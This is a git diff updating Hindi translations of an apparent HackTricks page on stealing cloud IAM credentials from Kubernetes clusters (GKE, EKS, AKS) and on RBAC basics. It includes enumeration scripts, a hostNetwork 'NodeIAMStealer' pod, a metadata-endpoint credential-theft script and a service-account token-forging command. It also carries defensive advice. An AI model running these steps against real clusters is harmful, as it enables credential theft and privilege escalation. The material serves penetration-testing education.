gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
- एक **pod** को **KSA** के साथ चलाएँ और **GSA** तक **access** की जाँच करें:
|
||||
- **KSA** के साथ एक **pod** चलाएँ और **GSA** तक **access** जांचें:
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
@@ -118,14 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
आवश्यक होने पर प्रमाणीकृत करने के लिए निम्न कमांड जांचें:
|
||||
ज़रूरत पड़ने पर authenticate करने के लिए निम्न command check करें:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> K8s के अंदर attacker के रूप में आपको **search for SAs** करना चाहिए जिनके पास **`iam.gke.io/gcp-service-account` annotation** है क्योंकि यह दर्शाता है कि वह SA GCP में कुछ access कर सकता है। दूसरा विकल्प यह है कि क्लस्टर के हर KSA को abuse करके देखें कि क्या उसे access है.\ From GCP की तरफ़ से हमेशा bindings को enumerate करना और यह जानना दिलचस्प होता है कि आप **Kubernetes के अंदर SAs को कौन सा access दे रहे हैं**।
|
||||
> K8s के अंदर एक attacker के रूप में आपको **SAs** को **`iam.gke.io/gcp-service-account` annotation** के साथ **search** करना चाहिए, क्योंकि यह संकेत देता है कि SA GCP में कुछ access कर सकता है। एक और option होगा cluster में हर KSA का abuse करने की कोशिश करना और check करना कि उसके पास access है या नहीं।\
|
||||
> GCP से हमेशा bindings को enumerate करना interesting होता है और यह जानना कि **Kubernetes के अंदर SAs को आप कौन-सा access दे रहे हैं**।
|
||||
|
||||
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
|
||||
यह एक script है जो **looking** के लिए **annotation** को आसानी से **all the pods** definitions पर **iterate over** करने के लिए है:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -140,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Pods को IAM Roles देने का एक (पुराना) तरीका [**Kiam**](https://github.com/uswitch/kiam) या [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** का उपयोग करना है। सामान्यतः आपको अपने cluster में एक **daemonset** चलाना होगा जिसके पास एक **kind of privileged IAM role** हो। यह daemonset उन Pods को IAM Roles तक पहुंच प्रदान करेगा जिन्हें इसकी आवश्यकता है।
|
||||
Pods को IAM Roles देने का एक (outdated) तरीका एक [**Kiam**](https://github.com/uswitch/kiam) या एक [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** का उपयोग करना है। Basically, आपको अपने cluster में एक **daemonset** चलाना होगा, जिसमें एक **kind of privileged IAM role** होगा। यह daemonset वही होगा जो इसे जरूरत वाले pods को IAM roles तक access देगा।
|
||||
|
||||
सबसे पहले आपको कॉन्फ़िगर करना होगा कि **which roles can be accessed inside the namespace**, और आप यह namespace object के अंदर एक annotation के साथ करते हैं:
|
||||
सबसे पहले आपको configure करना होगा कि **namespace के अंदर किन roles तक access किया जा सकता है**, और आप यह namespace object के अंदर एक annotation के साथ करते हैं:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -160,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
एक बार namespace को उन IAM roles के साथ configure कर दिया गया है जिन्हें Pods ले सकते हैं, आप प्रत्येक pod definition पर जिस role को आप चाहते हैं उसे **कुछ इस तरह निर्दिष्ट कर सकते हैं**:
|
||||
एक बार namespace को उन IAM roles के साथ configure कर दिया जाए जो Pods के पास हो सकते हैं, तो आप **हर pod definition में वह role indicate कर सकते हैं जो आप चाहते हैं, कुछ इस तरह**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -170,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> As an attacker, यदि आप **इन annotations को ढूँढते हैं** pods या namespaces में या किसी चल रहे kiam/kube2iam server (शायद kube-system में) में पाते हैं तो आप **हर role को impersonate कर सकते हैं** जो पहले से **pods द्वारा उपयोग किए गए हैं** और भी बहुत कुछ (अगर आपके पास AWS account की access है तो roles को enumerate करें).
|
||||
> एक attacker के रूप में, यदि आप pods या namespaces में ये **annotations** या चल रहा हुआ kiam/kube2iam server (संभवतः kube-system में) **find** करते हैं, तो आप उन हर **role** को **impersonate** कर सकते हैं जो पहले से **pods** द्वारा **used** हो रहा है, और भी अधिक (यदि आपके पास AWS account तक access है तो roles enumerate करें)।
|
||||
|
||||
#### Create Pod with IAM Role
|
||||
|
||||
> [!NOTE]
|
||||
> सूचित किया जाने वाला IAM role उसी AWS account में होना चाहिए जिसमें kiam/kube2iam role है और वह role इसे access कर पाने में सक्षम होना चाहिए.
|
||||
> बताने वाला IAM role उसी AWS account में होना चाहिए जिस में kiam/kube2iam role है, और उस role के पास उस तक access करने की क्षमता होनी चाहिए।
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -195,10 +196,10 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
|
||||
यह **AWS द्वारा अनुशंसित तरीका** है।
|
||||
|
||||
1. सबसे पहले आपको [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) करने की आवश्यकता है।
|
||||
2. फिर आप एक IAM role बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ हों।
|
||||
3. एक [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) बनाएं (या उन namespaces को, जिनके सभी SAs को role तक access दिया गया हो)। _Trust relationship मुख्य रूप से OIDC provider name, namespace name और SA name की जाँच करेगा_.
|
||||
4. अंत में, **ARN of the role को सूचित करने वाला annotation वाला SA बनाएँ**, और उस SA के साथ चलने वाले pods के पास role के token तक पहुँच होगी। यह **token** एक फाइल में **लिखा जाता है** और path **`AWS_WEB_IDENTITY_TOKEN_FILE`** में निर्दिष्ट है (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
1. सबसे पहले आपको [cluster के लिए एक OIDC provider बनाना होगा](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)।
|
||||
2. फिर आप उन permissions के साथ एक IAM role बनाते हैं जिनकी SA को आवश्यकता होगी।
|
||||
3. [IAM role और SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) नाम के बीच एक trust relationship बनाएं (या namespace, जो उस namespace के सभी SAs को role तक access देता है)। _trust relationship मुख्यतः OIDC provider name, namespace name और SA name की जांच करेगा_।
|
||||
4. अंत में, **role के ARN को दर्शाने वाला annotation के साथ एक SA बनाएं**, और उस SA के साथ चलने वाले pods को **role के token तक access** होगा। **token** एक file के अंदर **लिखा** जाता है और path **`AWS_WEB_IDENTITY_TOKEN_FILE`** में specified होता है (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -215,27 +216,27 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` से **token का उपयोग करके aws प्राप्त करने के लिए** चलाएँ:
|
||||
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` से **token का उपयोग करके aws प्राप्त करने** के लिए यह चलाएँ:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> एक हमलावर के रूप में, यदि आप किसी K8s cluster का enumeration कर सकते हैं, तो **service accounts with that annotation** की जाँच करें ताकि **escalate to AWS** किया जा सके। ऐसा करने के लिए, बस IAM के किसी एक **privileged service accounts** का उपयोग करके एक **pod** **exec/create** करें और token चुरा लें।
|
||||
> एक attacker के रूप में, अगर आप एक K8s cluster enumerate कर सकते हैं, तो **service accounts with that annotation** को **check** करें ताकि **AWS** तक **escalate** किया जा सके। ऐसा करने के लिए, बस **exec/create** करके एक **pod** उपयोग करें, जो किसी **IAM privileged service accounts** में से एक हो, और token चुरा लें।
|
||||
>
|
||||
> इसके अलावा, यदि आप किसी pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env variables की जाँच करें।
|
||||
> इसके अलावा, अगर आप एक pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env variables **check** करें।
|
||||
|
||||
> [!CAUTION]
|
||||
> कभी-कभी **Turst Policy of a role** गलत तरीके से **bad configured** हो सकती है और अपेक्षित service account को AssumeRole access देने के बजाय यह इसे **all the service accounts** को दे देती है। इसलिए, यदि आप किसी नियंत्रित service account पर annotation लिखने में सक्षम हैं, तो आप उस role तक पहुँच सकते हैं।
|
||||
> कभी-कभी किसी role की **Turst Policy** गलत तरीके से **configured** हो सकती है और expected service account को AssumeRole access देने के बजाय, यह उसे **all the service accounts** को दे देती है। इसलिए, अगर आप एक controlled service account पर annotation write करने में सक्षम हैं, तो आप उस role तक access कर सकते हैं।
|
||||
>
|
||||
> अधिक जानकारी के लिए **following page for more information** देखें:
|
||||
> अधिक जानकारी के लिए **following page** **check** करें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Find Pods a SAs with IAM Roles in the Cluster
|
||||
### Cluster में IAM Roles वाले Pods a SAs खोजें
|
||||
|
||||
यह एक script है जो आसानी से **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
||||
यह एक script है जो आसानी से **all the pods and sas** definitions के through **iterate** करके उस **annotation** को **looking** करने के लिए है:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -254,24 +255,26 @@ done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
|
||||
पिछला section pods के साथ IAM Roles चुराने के बारे में था, लेकिन ध्यान दें कि K8s cluster का एक **Node** cloud के अंदर एक **instance** होने वाला है। इसका मतलब है कि Node के पास IAM role होने की बहुत अधिक संभावना है जिसे आप चुरा सकते हैं (_ध्यान दें कि आमतौर पर K8s cluster के सभी nodes के पास वही IAM role होगा, इसलिए हर node की जाँच करने की कोशिश करना शायद worth it न हो_)।
|
||||
|
||||
Node metadata endpoint तक पहुँचने के लिए आपको:
|
||||
- किसी pod में होना चाहिए और metadata endpoint कम से कम 2 tcp hops के लिए configured होना चाहिए। यह सबसे आम गलत कॉन्फ़िगरेशन है क्योंकि सामान्यतः क्लस्टर के अलग-अलग pods को metadata endpoint की access चाहिए ताकि वे सही तरह से चलें और कई कंपनियाँ बस क्लस्टर के सभी pods से metadata endpoint की access allow कर देती हैं।
|
||||
- ऐसे pod में होना चाहिए जहाँ `hostNetwork` enabled हो।
|
||||
- Node तक escape करें और metadata endpoint को सीधे access करें।
|
||||
node metadata endpoint तक पहुँचने के लिए आपको:
|
||||
- एक pod में होना चाहिए और metadata endpoint को कम से कम 2 tcp hops के लिए configured होना चाहिए। यह सबसे common misconfiguration है क्योंकि आमतौर पर cluster में अलग-अलग pods को metadata endpoint तक access की जरूरत होगी ताकि चीज़ें break न हों, और कई companies बस cluster के सभी pods से metadata endpoint तक access allow करने का फैसला कर लेती हैं।
|
||||
- `hostNetwork` enabled वाले pod में होना चाहिए।
|
||||
- node से escape करके metadata endpoint को सीधे access करना चाहिए।
|
||||
|
||||
(ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर है).
|
||||
(ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर होता है)।
|
||||
|
||||
To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled:
|
||||
नए EKS environments में, यह मानने से पहले कि pods node instance profile तक पहुँच सकते हैं, node और cluster mode verify करें। Amazon Linux 2023 EKS optimized AMIs में IMDS hop limit default रूप से 1 होती है, और EKS Auto Mode `disablePodIMDS` को default रूप से enable करता है, इसलिए ordinary pods को node-role credentials नहीं मिलने चाहिए जब तक operator ने उन settings को बदला न हो या pod के पास `hostNetwork` या node compromise जैसी कोई अन्य node-level path न हो। Recommended pattern यह है कि pod access को node IMDS तक block किया जाए और workload AWS permissions के लिए IRSA या EKS Pod Identity का use किया जाए।
|
||||
|
||||
**node to escape** करने के लिए आप `hostNetwork` enabled के साथ एक pod run करने के लिए following command का use कर सकते हैं:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Steal IAM Role Token
|
||||
### IAM Role Token चुराएँ
|
||||
|
||||
पहले हमने चर्चा की थी कि कैसे **attach IAM Roles to Pods** या यहां तक कि कैसे **escape to the Node to steal the IAM Role** जो instance से जुड़ा हुआ है।
|
||||
पहले हमने चर्चा की थी कि कैसे **IAM Roles को Pods से attach** किया जाए या फिर कैसे **Node से escape** करके उस IAM Role को चुराया जाए जो instance से attached है।
|
||||
|
||||
आप निम्नलिखित script का उपयोग कर सकते हैं **steal** करने के लिए अपने नए मेहनत से प्राप्त **IAM role credentials**:
|
||||
आप निम्नलिखित script का उपयोग करके अपने नए, मेहनत से हासिल किए गए **IAM role credentials** को **चुराने** के लिए कर सकते हैं:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
@@ -284,21 +287,66 @@ fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
सारांश: अगर किसी pod से **access the EKS Node IAM role** संभव है, तो पूरा **compromise the full kubernetes cluster** करना संभव है।
|
||||
सारांश में: अगर एक pod से **EKS Node IAM role** तक **access** करना संभव है, तो पूरे kubernetes cluster को **compromise** करना संभव है।
|
||||
|
||||
For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
अधिक जानकारी के लिए [this post](https://blog.calif.io/p/privilege-escalation-in-eks) देखें। संक्षेप में, default IAM EKS role जो default रूप से EKS nodes को assigned होता है, उसे cluster के अंदर `system:node` role दिया जाता है। यह role बहुत interesting है, हालांकि kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) द्वारा सीमित है।
|
||||
|
||||
However, the node can always **generate tokens for service accounts** running in pods inside the node. So, if the node is running a pod with a privileged service account, the node can generate a token for that service account and use it to impersonate the service account like in:
|
||||
हालांकि, node हमेशा उस node के अंदर pods में चल रहे service accounts के लिए **tokens generate** कर सकता है। इसलिए, अगर node एक ऐसे pod को चला रहा है जिसके पास privileged service account है, तो node उस service account के लिए एक token generate कर सकता है और उसे service account की तरह impersonate करने के लिए इस्तेमाल कर सकता है, जैसे:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
--bound-object-name=pod-priv \
|
||||
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
|
||||
```
|
||||
## संदर्भ
|
||||
## Azure / AKS
|
||||
|
||||
AKS में, असेसमेंट के दौरान तीन identity paths को अलग रखें:
|
||||
|
||||
- **Azure to Kubernetes**: Azure principals Azure Resource Manager के जरिए user या admin kubeconfigs retrieve कर सकते हैं, अगर उनकी Azure RBAC role इसकी अनुमति देती है। `az aks get-credentials --admin` से मिले local admin kubeconfigs certificate-based credentials होते हैं और normal Microsoft Entra user/group governance को bypass कर सकते हैं, जब तक local accounts disabled न हों।
|
||||
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters users, groups, या service principals को `kubelogin`/exec kubeconfigs के through authenticate करते हैं। Final Kubernetes action native Kubernetes RBAC या Azure RBAC for Kubernetes Authorization द्वारा authorize हो सकती है।
|
||||
- **Kubernetes to Azure**: Pods को normally Microsoft Entra Workload ID use करना चाहिए, जो projected Kubernetes service account tokens को AKS OIDC issuer और federated identity credentials के through Entra के साथ exchange करता है।
|
||||
|
||||
Azure से useful AKS identity checks:
|
||||
```bash
|
||||
az aks show -g <resource-group> -n <cluster> \
|
||||
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
|
||||
-o yaml
|
||||
|
||||
AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
|
||||
az role assignment list --scope "$AKS_ID" --include-inherited -o table
|
||||
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
|
||||
```
|
||||
Kubernetes से, AKS Workload ID signals खोजें:
|
||||
```bash
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
|
||||
```
|
||||
संबंधित Workload ID fields आमतौर पर ये होते हैं:
|
||||
```yaml
|
||||
metadata:
|
||||
annotations:
|
||||
azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
|
||||
azure.workload.identity/tenant-id: "<tenant-id>"
|
||||
---
|
||||
metadata:
|
||||
labels:
|
||||
azure.workload.identity/use: "true"
|
||||
```
|
||||
यदि cluster अभी भी deprecated Microsoft Entra pod-managed identity model का उपयोग करता है, तो Workload ID annotations के बजाय पुराने CRDs और NMI/MIC components देखें:
|
||||
```bash
|
||||
kubectl get crd | grep -i azureidentity
|
||||
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
|
||||
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
|
||||
```
|
||||
AKS nodes Azure VM scale set instances हैं, इसलिए node या host-level access Azure Instance Metadata Service को `169.254.169.254` पर expose कर सकता है। यह assume न करें कि कोई ordinary pod node managed identity credentials पाएगा: पहले workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, और node access verify करें। अगर किसी node identity के पास broad Azure permissions हैं, तो node compromise एक Azure pivot बन सकता है, भले ही application Workload ID सही तरीके से scoped हो।
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+44
-20
@@ -4,23 +4,23 @@
|
||||
|
||||
## Role-Based Access Control (RBAC)
|
||||
|
||||
Kubernetes में एक **authorization module** है जिसका नाम Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) है, जो API server के लिए utilization permissions सेट करने में मदद करता है।
|
||||
Kubernetes में एक **authorization module** होता है जिसका नाम Role-Based Access Control है ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) जो API server के लिए utilization permissions सेट करने में मदद करता है।
|
||||
|
||||
RBAC का permission model **तीन अलग हिस्सों** से बना है:
|
||||
RBAC का permission model **तीन अलग-अलग हिस्सों** से बना होता है:
|
||||
|
||||
1. **Role\ClusterRole –** असली permission. इसमें _**rules**_ होते हैं जो permissions का एक set दर्शाते हैं। हर rule में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। verb वह action है जो resource पर लागू होगा।
|
||||
1. **Role\ClusterRole –** असली permission. इसमें _**rules**_ होते हैं जो permissions का एक set represent करते हैं। हर rule में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। verb वह action है जो resource पर apply होगा।
|
||||
2. **Subject (User, Group or ServiceAccount) –** वह object जिसे permissions मिलेंगी।
|
||||
3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole और subject के बीच का connection।
|
||||
3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole और subject के बीच connection।
|
||||
|
||||

|
||||
|
||||
“**Roles**” और “**ClusterRoles**” के बीच का अंतर सिर्फ यह है कि role कहाँ लागू होगा – एक “**Role**” केवल **एक** **specific** **namespace** में access देगा, जबकि एक “**ClusterRole**” cluster के **सभी namespaces** में इस्तेमाल किया जा सकता है। इसके अलावा, **ClusterRoles** यह access भी दे सकते हैं:
|
||||
“**Roles**” और “**ClusterRoles**” के बीच का difference सिर्फ यह है कि role कहाँ apply होगा – “**Role**” केवल **one** **specific** **namespace** में access देगा, जबकि “**ClusterRole**” cluster के **all namespaces** में use किया जा सकता है। इसके अलावा, **ClusterRoles** यह access भी दे सकते हैं:
|
||||
|
||||
- **cluster-scoped** resources (जैसे nodes).
|
||||
- **non-resource** endpoints (जैसे /healthz).
|
||||
- namespaced resources (जैसे Pods), **सभी namespaces** में।
|
||||
- **cluster-scoped** resources (जैसे nodes)।
|
||||
- **non-resource** endpoints (जैसे /healthz)।
|
||||
- namespaced resources (जैसे Pods), **across all namespaces**।
|
||||
|
||||
**Kubernetes** 1.6 से, **RBAC** policies **by default enabled** हैं। लेकिन RBAC enable करने के लिए आप कुछ ऐसा use कर सकते हैं:
|
||||
**Kubernetes** 1.6 से onwards, **RBAC** policies by default **enabled** होती हैं। लेकिन RBAC enable करने के लिए आप कुछ ऐसा use कर सकते हैं:
|
||||
```
|
||||
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
```
|
||||
@@ -28,9 +28,9 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
|
||||
**Role** या **ClusterRole** के template में आपको **role का name**, **namespace** (roles में) और फिर role के **apiGroups**, **resources** और **verbs** बताने होंगे:
|
||||
|
||||
- **apiGroups** एक array है जिसमें वे अलग-अलग **API namespaces** होते हैं जिन पर यह rule लागू होता है। उदाहरण के लिए, Pod definition `apiVersion: v1` का उपयोग करती है। _इसके values जैसे `rbac.authorization.k8s.io` या `[\*]` हो सकते हैं_.
|
||||
- **resources** एक array है जो बताती है कि यह rule **किन resources पर लागू होता है**। आप सभी resources यहाँ देख सकते हैं: `kubectl api-resources --namespaced=true`
|
||||
- **verbs** एक array है जिसमें **allowed verbs** होते हैं। Kubernetes में verb उस **action के type** को परिभाषित करता है जिसे आपको resource पर लागू करना होता है। उदाहरण के लिए, `list` verb collections पर उपयोग होता है, जबकि `get` एक single resource पर उपयोग होता है।
|
||||
- **apiGroups** एक array है जिसमें वे अलग-अलग **API namespaces** होते हैं जिन पर यह rule लागू होता है। उदाहरण के लिए, एक Pod definition `apiVersion: v1` use करती है। _इसके values `rbac.authorization.k8s.io` या \[\*] जैसे हो सकते हैं_.
|
||||
- **resources** एक array है जो तय करती है कि यह rule **किन resources पर लागू होता है**। आप सभी resources यहाँ पा सकते हैं: `kubectl api-resources --namespaced=true`
|
||||
- **verbs** एक array है जिसमें **allowed verbs** होते हैं। Kubernetes में verb resource पर लागू करने के लिए जरूरी **action के type** को define करता है। उदाहरण के लिए, `list` verb collections पर use होता है, जबकि `"get"` एक single resource पर use होता है।
|
||||
|
||||
### Rules Verbs
|
||||
|
||||
@@ -39,12 +39,12 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (individual resources के लिए), list (collections के लिए, जिसमें full object content शामिल है), watch (individual resource या resources की collection को watch करने के लिए) |
|
||||
| GET, HEAD | get (individual resources के लिए), list (collections के लिए, full object content सहित), watch (एक individual resource या resources की collection को watch करने के लिए) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (individual resources के लिए), deletecollection (collections के लिए) |
|
||||
|
||||
Kubernetes कभी-कभी specialized verbs का उपयोग करके additional permissions के लिए authorization check करता है। उदाहरण के लिए:
|
||||
Kubernetes कभी-कभी specialized verbs का use करके additional permissions के लिए authorization check करता है। उदाहरण के लिए:
|
||||
|
||||
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
- `policy` API group में `podsecuritypolicies` resources पर `use` verb.
|
||||
@@ -54,7 +54,7 @@ Kubernetes कभी-कभी specialized verbs का उपयोग कर
|
||||
- core API group में `users`, `groups`, और `serviceaccounts` पर `impersonate` verb, और `authentication.k8s.io` API group में `userextras`.
|
||||
|
||||
> [!WARNING]
|
||||
> आप `kubectl api-resources --sort-by name -o wide` execute करके देख सकते हैं कि **हर resource किन verbs को support करता है**
|
||||
> आप `kubectl api-resources --sort-by name -o wide` execute करके **हर resource कौन-कौन से verbs support करता है** यह पा सकते हैं
|
||||
|
||||
### Examples
|
||||
```yaml:Role
|
||||
@@ -80,15 +80,15 @@ rules:
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "watch", "list"]
|
||||
```
|
||||
उदाहरण के लिए आप एक **ClusterRole** का उपयोग करके किसी विशेष user को चलाने की अनुमति दे सकते हैं:
|
||||
उदाहरण के लिए आप किसी विशेष user को चलाने की अनुमति देने के लिए एक **ClusterRole** का उपयोग कर सकते हैं:
|
||||
```
|
||||
kubectl get pods --all-namespaces
|
||||
```
|
||||
### **RoleBinding and ClusterRoleBinding**
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **role binding एक user या users के set को role में defined permissions grant करता है**। इसमें subjects (users, groups, या service accounts) की एक list होती है, और जिस role को grant किया जा रहा है उसका reference होता है। एक **RoleBinding** एक specific **namespace** के भीतर permissions grant करता है, जबकि एक **ClusterRoleBinding** उस access को **cluster-wide** grant करता है।
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **role binding एक role में परिभाषित permissions को किसी user या users के set को grants करता है**। इसमें subjects (users, groups, या service accounts) की एक list होती है, और granted किए जा रहे role का एक reference होता है। एक **RoleBinding** एक specific **namespace** के भीतर permissions grants करता है, जबकि एक **ClusterRoleBinding** उस access को **cluster-wide** grants करता है।
|
||||
```yaml:RoleBinding
|
||||
piVersion: rbac.authorization.k8s.io/v1
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
# This role binding allows "jane" to read pods in the "default" namespace.
|
||||
# You need to already have a Role named "pod-reader" in that namespace.
|
||||
kind: RoleBinding
|
||||
@@ -122,9 +122,33 @@ kind: ClusterRole
|
||||
name: secret-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
